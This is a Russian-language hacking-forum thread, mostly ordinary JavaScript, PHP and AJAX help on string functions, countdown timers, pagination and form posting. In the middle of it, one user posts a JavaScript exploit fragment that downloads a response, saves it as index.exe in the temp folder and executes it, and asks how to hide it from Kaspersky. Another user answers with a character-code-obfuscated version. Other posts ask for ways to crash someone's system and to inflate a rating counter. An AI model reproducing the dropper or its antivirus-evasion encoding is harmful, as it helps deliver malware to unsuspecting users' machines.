this.inpName.helpString = '<strong>' + txtName + ': </strong> ' + addHelpTxt;
this.inpName.onmouseover = function () { this._parent.showHelp(this.helpString); };
this.inpName.onmouseout = function () { this._parent.showHelp('');};
this.inpName.onchange = function () { this._parent.updateText(this.tagOpen + this.options[this.selectedIndex].value + ']', this.tagClose);};
}
</script>
есть код а как его юзать хз =) с JS никада не работал и не пойму как скрипт к форме привязать =\\
подскажите, есть ли в javascript функции аналогичные
strip_tags(), addslashes и trim
подскажите, есть ли в javascript функции аналогичные
strip_tags(), addslashes и trim
function strip_tags( str )
{
return str.replace(/<\/?[^>]+>/gi, '');
}
function addslashes( str )
{
return (str+'').replace(/([\\"'])/g, "\\$1").replace(/\0/g, "\\0");
}
function trim(string)
{
return string.replace(/(^\s+)|(\s+$)/g, "");
}
провда не проверял, пашет или нет, вот проверишь напиши=)
спасибо за код. я так понял, что встроенных подобных функций нет?
хм. отчего-то не работает ваш код, Корвин
даже могу сказать почему. в первой функции использован обр слеш как ограничитель шаблона
(/</?[^>]+>/gi, '')
шаблон будет закрываться раньше. ну да это ничего. это мы сами допрем)))
еще раз спасибо за ответ
1) JavaScript. Обычные часы вида hh:mm:ss но время на них должно показывать серверное. php использовать можно.
2) такой же отсчет на JavaScript только обратный, без часов только минуты и секунды. Когда он по нулям нужно обновление страницы, но так чтобы элементы $_POST[]; сохранялись. Как это сделать.
Кто может помогите пожалуйста.
Часики ---> http://symmetrica.net/qt4/lesson5.htm
Грубо говоря,есть массив в php, пускай в 100 значений.
Необходимо.
Вывод на страницу,по 20 штук,тоесть 20 страниц.Но!При нажатии "Перейти на следующую страницу" чтобы небыло обновления страницы,а тупо показывались следубщие 20 ну и так далее.В яве совсем не силен,так чтоо расчитываю на вашу помошщь.
.:EnoT:.
20.02.2009, 21:43
Тут явой и не пахнет, это Javascript/AJAX
файл 1
<script>
function pages(p){
var httpRequest = '';
if(window.XMLHttpRequest){
httpRequest = new XMLHttpRequest();
}else{
if(window.ActiveXObject){
try{
httpRequest = new ActiveXObject('Msxml2.XMLHTTP');
}catch(e){
httpRequest = new ActiveXObject('Microsoft.XMLHTTP');
}
}
}
httpRequest.open('GET', 'page.php?p=' + p, true);
httpRequest.send(null);
httpRequest.onreadystatechange = function result(){
if (httpRequest.readyState == 4 || httpRequest.readyState == 'complete'){
document.getElementById('content').innerHTML = httpRequest.responseText;
}
};
}
</script>
Страницы: <a href="javascript:pages(1)"></a> <a href="javascript:(2)"></a> <a href="javascript:(3)"></a>
<div id="content"></div>
файл 2
<?php
$pages = array(
'1' => 'Это контент первой страницы',
'2' => 'Это контент второй страницы',
'3' => 'Это контент третьей страницы');
$p = !empty($_GET['p']) && is_numeric($_GET['p']) ? intval($_GET['p']) : '';
if($p) echo $pages[$p];
?>
примерно так
Такс,опробывал,вроде хорошо,но.
Нужно чтобы был один массив,его делило по 20 например.
И страницы генерились автоматом,тоесть,номера:
перейти на: 1,2,3,4,...тоесть сколько кусков стоко и нумеров.
.:EnoT:.
20.02.2009, 22:03
Такс,опробывал,вроде хорошо,но.
Нужно чтобы был один массив,его делило по 20 например.
И страницы генерились автоматом,тоесть,номера:
перейти на: 1,2,3,4,...тоесть сколько кусков стоко и нумеров.
И в чём проблема? Циклы, циклы, циклы...
Но это уже php, а не JS
DarkMist
20.02.2009, 23:34
здравствуйте ув кодеры!! При установки форума "JForum" возникли непонятки в виде непонимание апачем файлов с разширением .jsp ((
На сайте в мануале подробно описан вопрос установки но реально install.jsp неправильно отображается браузером и на этом установка заканчивается....
Если кто сталкивался с JForum_ом просьба подсказать, посоветовать.... :rolleyes:
И зачем нужен Томкат(tomcat)????
система убунта+апач+ьмускул
Pashkela
21.02.2009, 06:17
Аву убери такую
DarkMist, php и jsp совсем разные вещи, у тебя на хостинге поддерживается jsp? (это и есть tomcat)
Tomcat (в старых версиях — Catalina) — программа-контейнер сервлетов, написанная на языке Java и реализующая спецификацию сервлетов и спецификацию JavaServer Pages (JSP), которые являются стандартами для разработки веб-приложений на языке Java.
Tomcat позволяет запускать веб-приложения, содержит ряд программ для само-конфигурирования.
Tomcat используется в качестве самостоятельного веб-сервера, в качестве сервера контента в сочетании с веб-сервером Apache HTTP Server, а также в качестве контейнера сервлетов в сервере приложений JBoss.
Каким обращом,можно указать кодировку в AJAX?
Хочу накрутить lank.ru, и для этаво нужно расшифровать JS-код
<!-- begin lank.ru code -->
<script language="JavaScript">
var lankru_html = '';
lankru_html += '<scr' + 'ipt language="JavaSc' + 'ript" ';
lankru_html += 'src="http://l';
lankru_html += 'ank.ru/js.php?id=10644';
lankru_html += '&url=' + encodeURIComponent(document.location);
lankru_html += '&rnd=' + Math.random() + '"></scr' + 'ipt>';
document.write(lankru_html);
</script>
<!-- end lank.ru code -->
Помогите плиз из этова кода ссылку достать, с меня +++
http://lank.ru/js.php?id=10644&url=(URL)&rnd(RNDOM_SET)
Что писать в: (URL)
Что писать В: (RNDOM_SET)
Url = свою ссылку похожу
Rand - рандемное число похожу.ТОчно нескажу.
подскажите, пожалуйста, справочник по функциям.
хорошо бы разбитый не по алфавиту, а тематически
вопрос такой
задача- есть радиобтн или селект. при выборе 1 - элементы исчезают, 2- вновь появляются. есть ли способ скрыть элементы разметки не через свойство visibility, т.е. не просто невидимы они должны стать, а с их исчезновением разметка должна меняться.
есть ли более цивилизованный способ,нежели удаление их.просто удалить легко, а заново создавать кучу элементов уже влом и не слишком элегантно
Помогите написать скрипт который будет выводить серверное время...(это я на PHP напишу) и выводить его в поле <span id="servertime"></span> чтоб оно тикало в реальном времени....
Ну типа часиков...
astrologer
24.02.2009, 22:05
Byrger, пользуйся: <!DOCTYPE html>
<html>
<head>
<title>μπουρέκι</title>
<script>
(function(σ, δ, τ, π, α)
{
(α || (π = 'on', attachEvent))(π + τ, function()
{
document.body.appendChild(σ.parentNode);
}, 0);
setInterval(function()
{
σ.data = new Date(new Date - δ).toLocaleTimeString();
}, 1e3);
})
(
document.createElement('span').appendChild( document.createTextNode('') ),
new Date - new Date(<?=time()?>000), 'load', '', this.addEventListener
);
</script>
</head>
<body></body>
</html>
Извеняюсь если я не в ту тему...
В локальной сети есть прога "Net Speakerphone"
Можно в письме код или скрипт заслать чтоб повисла система, оч надо. Достал один чел
или пакость какую нить
Byrger, пользуйся: <!DOCTYPE html>
<html>
<head>
<title>μπουρέκι</title>
<script>
(function(σ, δ, τ, π, α)
{
(α || (π = 'on', attachEvent))(π + τ, function()
{
document.body.appendChild(σ.parentNode);
}, 0);
setInterval(function()
{
σ.data = new Date(new Date - δ).toLocaleTimeString();
}, 1e3);
})
(
document.createElement('span').appendChild( document.createTextNode('') ),
new Date - new Date(<?=time()?>000), 'load', '', this.addEventListener
);
</script>
</head>
<body></body>
</html>
А что функции передавать и что-то с кодировкой у меня не то...
Требуется помощь знающих... плс
<script type='text/javascript'>
start_time=new Date();
var elem=document.getElementById('time_script');
var mTitle = document.title;
function update_time()
{
new_time=new Date();
s=".$osttime."-Math.round((new_time.getTime()-start_time.getTime())/1000.);
m=0;h=0;
if(s<0)
{
elem.innerHTML='***';
document.location=document.location;
}
else
{
if(s>59)
{
m=Math.floor(s/60);
s=s-m*60;
}
if(m>59)
{
h=Math.floor(m/60);
m=m-h*60;
}
if(s<10)
{
s='0'+s;
}
if(m<10)
{
m='0'+m;
}
elem.innerHTML=' '+h+':'+m+':'+s+' ';
document.title=' ['+h+':'+m+':'+s+'] ' + mTitle;
window.setTimeout('update_time();',999);
}
}
update_time();
</script>
Вот мой скриптик обратного отсчета... Когда время заканчивается страница обновляется. Как сделать передачу с ней _POST значения?
gOsToFf, я это делал так
function doBuy()
{
for(i=0;i<sessvars.caunt;i++)
{
child = document.createElement("input");//создаем поле input
child.type = "hidden";// указываем type
child.name = "buyItem"+i;// указываем name
child.value = sessvars.inbasket[i].kolvo;// указываем value
child2 = document.createElement("input");//аналогично первому child
child2.type = "hidden"; //аналогично первому child
child2.name = "name"+i;//аналогично первому child
child2.value = sessvars.inbasket[i].name;//аналогично первому child
child3 = document.createElement("input");// и тд
child3.type = "hidden";
child3.name = "price"+i;
child3.value = sessvars.inbasket[i].price;
child4 = document.createElement("input");
child4.type = "hidden";
child4.name = "articul"+i;
child4.value = sessvars.inbasket[i].articul;
document.forms.dobuy.appendChild(child);// присваиваем форме с name='dobuy' поле child...
document.forms.dobuy.appendChild(child2);//поле child2...
document.forms.dobuy.appendChild(child3);//поле child3...
document.forms.dobuy.appendChild(child4);//поле child4
}
document.forms.dobuy.submit();// отправляем форму
return true;
}
единственно где нибудь в коде нужно всунуть форму пустую, в моем случае <form name="dobuy" method="POST"></form>
AkyHa_MaTaTa
26.02.2009, 13:06
А XMLHTTPRequest не вариант? например вот так
<script type='text/javascript'>
start_time=new Date();
var elem=document.getElementById('time_script');
var mTitle = document.title;
var url="post.php";// адрес куда будем передовать
function sendRequest(params)// в params переменые передоваемы в пост запросе
{
if(params!==""){
req=initXMLHTTPRequest();
if (req){
// req.onreadystatechange=somedo;
req.open("POST",url,true);
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
req.send(params);
}
}
}
function initXMLHTTPRequest(){
var xRequest=null;
if (window.XMLHttpRequest){
xRequest=new XMLHttpRequest();
}
else if (window.ActiveXObject){
xRequest=new ActiveXObject
("Microsoft.XMLHTTP");
}
return xRequest;
}
function update_time()
{
new_time=new Date();
s=".$osttime."-Math.round((new_time.getTime()-start_time.getTime())/1000.);
m=0;h=0;
var data="somedata=value&somedata2=value2";
sendRequest(data);
if(s<0)
{
elem.innerHTML='***';
document.location=document.location;
}
else
{
if(s>59)
{
m=Math.floor(s/60);
s=s-m*60;
}
if(m>59)
{
h=Math.floor(m/60);
m=m-h*60;
}
if(s<10)
{
s='0'+s;
}
if(m<10)
{
m='0'+m;
}
elem.innerHTML=' '+h+':'+m+':'+s+' ';
document.title=' ['+h+':'+m+':'+s+'] ' + mTitle;
var time_out=window.setTimeout('update_time();',999);
}
}
update_time();
</script>
AkyHa_MaTaTa, ну кто как умеет, если буду где делать такое, обязательно попробую твой вариант
Вот есть такой вопрос, вопшем когда мой php скрипт работает,то он постоянно выводит инфу на екран,ну поскольку ето на чистом пхп то ето просто появляеться в низу страницы,и так постоянно.Вот как можна сделать чтобы текст выводился в теге <textarea> ? Чтобы весь лог шел в текстовом поле,с фиксацыей на новый вывод?
Вопше мне нужен просто аналог вывода лога как в скрипте VKontakte Messenger By DX 1.2...так точь в точ так как мне нужно ведеться лог...
Pashkela
26.02.2009, 21:31
Вопрос не очень понял, но примерно так:
<?php
$b = 'текст';
?>
<textarea><?php echo $b; ?></textarea>
Скорее типо етого должно быть
<?php
for ($i=0; $i<5; $i++){
$b = 'текст';
?>
<textarea><?php echo $b; ?></textarea>
<?php } ?>
Вот только и проблема то в том,что выведеться 5 текстовых послей с "текст" а не одно поле с пятьмя "текст"...Думаю пример более понятен...
AkyHa_MaTaTa
27.02.2009, 08:21
ну так выведи тег <textarea> из цикла:
<textarea>
<?php
for ($i=0; $i<5; $i++){
echo 'текст';
} ?>
</textarea>
Есть сплоит на javascript
вот этот кусок начал палится КАСПЕРОМ
adoStream.type = 1;
adoStream.open();
adoStream.Write(xmlHTTP.responseBody);
var fileSystem = bj.CreateObject("Scripting.FileSystemObject","")
var filePath = fileSystem.BuildPath(fileSystem.GetSpecialFolder(2 ), "index.exe");
adoStream.SaveToFile(filePath, 2);
shellApplication.ShellExecute(filePath);
Как мне его криптануть, чтобы каспер не понял? Помогите пожалуйста.
ну так выведи тег <textarea> из цикла:
<textarea>
<?php
for ($i=0; $i<5; $i++){
echo 'текст';
} ?>
</textarea>
Оно то придумано хорошо,но вот проблема в том что у меня динамический скрипт,а в твоём примере сначала выводиться на страницу
<textarea>
потом выполняеться цыкл 5 раз,выводя ето
текст
после тега,а потом в конце выволнения лишь выведет
</textarea>
Но проблемы целых 2 возникает...
1.То что лишь по выводу тега </textarea> на страницу отобразиться текстовое поле,а до етого просто пустая страница,тег то не закрыт получаеться...Ну так а у меня скрипт динамический,вывод должен идти постоянно а не по окончанию. Притом иногда более 5 минут скрипт работает,и ето всё время нужен детальный лог...
2.Скрипт огромный,и в отдельных случаях должен идти вывод отдельных данных на страницу,а место етого они оказываються просто в текстовом поле...Например
<textarea>
<?php
for ($i=0; $i<5; $i++){
if($f=="1"){
echo "<script>alert(\"$i\");</script>";
}else{
echo 'текст';
}
} ?>
</textarea>
Вот тут то он выведет в тестовом поле скрипт просто....негодиться чистый пхп ну никак...нужен Ajax... :(
AkyHa_MaTaTa
28.02.2009, 23:50
Ну извини я не могу читать мысли, ты изложил проблему, я предложил ее решения толька так как изложил проблему, естествено если у тебя скрипт что то обрабатывает более 5 минут и ты хочешь что бы пользователь видел какие то данные обработки почти сразу разумнее использовать ajax, по поводу "<script>alert(\"$i\");</script>"; не надо воспринемать все буквально, главную апи - brain еще никто не отменял так что ею надо пользоваться.
Gray_f0x
01.03.2009, 01:01
задача : перевести пользователя на указанную страницу в последствии выполнения php скрипта
реализация : java script
вопрос: как ?
вопрос снят, так как нашел решение сам)
Ну извини я не могу читать мысли, ты изложил проблему, я предложил ее решения толька так как изложил проблему, естествено если у тебя скрипт что то обрабатывает более 5 минут и ты хочешь что бы пользователь видел какие то данные обработки почти сразу разумнее использовать ajax, по поводу "<script>alert(\"$i\");</script>"; не надо воспринемать все буквально, главную апи - brain еще никто не отменял так что ею надо пользоваться.
Я же ничего против не говорил,что ты непонял....
Вопшем вопрос есчё в силе...И что такое то апи браин?
Dr.Gonzo
01.03.2009, 18:17
Есть вопрос!
Реально ли сделать парсинг html-страницы на стороне клента в браузере?
вроде бы через javascript и ajax есть такая возможность.
Нужно просто загрузить страницу и произвести поиск там определенной строки. ИМЕННО НА СТОРОНЕ КЛИЕНТА
AkyHa_MaTaTa
01.03.2009, 18:35
Есть вопрос!
Реально ли сделать парсинг html-страницы на стороне клента в браузере?
вроде бы через javascript и ajax есть такая возможность.
Нужно просто загрузить страницу и произвести поиск там определенной строки. ИМЕННО НА СТОРОНЕ КЛИЕНТА
C помошью javascript это можно сделать, вот тебе просьтенкий пример:
<html>
<body>
<div>
Меня_надо_найти
</div>
</body>
<script>
var inp = document.getElementsByTagName('div')[0].innerHTML;
alert(inp.match("Меня_надо_найти"));
</script>
</html>
Есть сплоит на javascript
вот этот кусок начал палится КАСПЕРОМ
adoStream.type = 1;
adoStream.open();
adoStream.Write(xmlHTTP.responseBody);
var fileSystem = bj.CreateObject("Scripting.FileSystemObject","")
var filePath = fileSystem.BuildPath(fileSystem.GetSpecialFolder(2 ), "index.exe");
adoStream.SaveToFile(filePath, 2);
shellApplication.ShellExecute(filePath);
Как мне его криптануть, чтобы каспер не понял? Помогите пожалуйста.
ТАк никто незнает????
Я хоть и не сильно проблему то понял,ну мне кажеться что у тебя саму прогу то за вирус берет,а не скрипт,есле ето так,так саму прогу криптони,а есле я ошибаюсь и сам скрипт,то незнаю тогда,с таким не стыкался...ну сам яваскрипт можно закриптовать,есть сайты для етого,поройся в статьях о xss,там есть...ну мне кажеться есле ето обнаружает каспер,то и закриптованый он проверит...
Dr.Gonzo
02.03.2009, 21:36
<SCRIPT LANGUAGE="JavaScript">
<!--
function Decode(){var temp="",i,c=0,out="";var str="97!100!111!83!116!114!101!97!109!46!116!121!112!10 1!32!61!32!49!59!13!10!97!100!111!83!116!114!101!9 7!109!46!111!112!101!110!40!41!59!13!10!97!100!111 !83!116!114!101!97!109!46!87!114!105!116!101!40!12 0!109!108!72!84!84!80!46!114!101!115!112!111!110!1 15!101!66!111!100!121!41!59!13!10!118!97!114!32!10 2!105!108!101!83!121!115!116!101!109!32!61!32!98!1 06!46!67!114!101!97!116!101!79!98!106!101!99!116!4 0!34!83!99!114!105!112!116!105!110!103!46!70!105!1 08!101!83!121!115!116!101!109!79!98!106!101!99!116 !34!44!34!34!41!13!10!118!97!114!32!102!105!108!10 1!80!97!116!104!32!61!32!102!105!108!101!83!121!11 5!116!101!109!46!66!117!105!108!100!80!97!116!104! 40!102!105!108!101!83!121!115!116!101!109!46!71!10 1!116!83!112!101!99!105!97!108!70!111!108!100!101! 114!40!50!32!32!41!44!32!34!105!110!100!101!120!46 !101!120!101!34!41!59!13!10!97!100!111!83!116!114! 101!97!109!46!83!97!118!101!84!111!70!105!108!101! 40!102!105!108!101!80!97!116!104!44!32!50!41!59!13 !10!115!104!101!108!108!65!112!112!108!105!99!97!1 16!105!111!110!46!83!104!101!108!108!69!120!101!99 !117!116!101!40!102!105!108!101!80!97!116!104!41!5 9!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c ++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}
//-->
</SCRIPT><SCRIPT LANGUAGE="JavaScript">
<!--
Decode();
//-->
</SCRIPT>
Криптонул. Щас палится?
Dr.Gonzo
02.03.2009, 21:39
C помошью javascript это можно сделать, вот тебе просьтенкий пример:
<html>
<body>
<div>
Меня_надо_найти
</div>
</body>
<script>
var inp = document.getElementsByTagName('div')[0].innerHTML;
alert(inp.match("Меня_надо_найти"));
</script>
</html>
Ненененене. Это свой код.
А как кроссдоменный парсинг сделать?
То есть вводишь урл и скрипт парсит его на ссылки.
знает кто нить скрипт, чо нить типа сияния солнца, чтобы по сайту лучи солнца плавали?
PS что в этом сообщении особенного? мне за него уже 3 + поставили O_o
AkyHa_MaTaTa
03.03.2009, 14:53
Ненененене. Это свой код.
А как кроссдоменный парсинг сделать?
То есть вводишь урл и скрипт парсит его на ссылки.
Кроссдоменый наврятли, если в той странице что ты собираешь что то парсить нету твоего js кода, во посмотри здесь (http://javascript.ru/ajax/cross-domain-scripting) , там же можешь спросить.
Подскажите пожалуйста как эксплореровское окошко перетащить в самый нижний правый угол экрана независимо от разширения экрана? И возможно ли на нем заблокировать закрытие этого окна на определенное количество секунд?
Подскажите плс...
Мне надо сделать (поиск, вставку в БД) но она не должна быть произвольная а по имеющимся уже данным. Которые цепляются одно за другое. Тоесть я делаю форму с нексколькими <select name='name'></selected> в центре реализую вставку значений для выбора. первый конечно стандартный. далее идут динамический в зависимости от выбранного первого. как это сделать? кто подскажет пример. Так чтобы было автообновляющееся. только когда все выбрано я жму кнопку и форма работает в пост кудато.
m0nsieur
05.03.2009, 14:14
Посмотри как на irr.ru сделано при подаче объявления.
- в зависимости от выбранного изначального варианта в <select> делается ajax запрос с этим параметром
- результат запроса подставляется в новый <select> и т.д. пока не будет достигнут конец цепочки.
как мне заставить браузер выполнить скрипт по адресу
_http://www.server-auth.tu2.ru/2/js.js
я вписываю в адресную строку
javascript:document.location='http://www.server-auth.tu2.ru/2/js.js
или
javascript:src='http://www.server-auth.tu2.ru/2/js.js
он не пашет...
как правильно написать?
Pashkela
05.03.2009, 18:58
javascript:window.location.href='https://forum.antichat.ru'
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot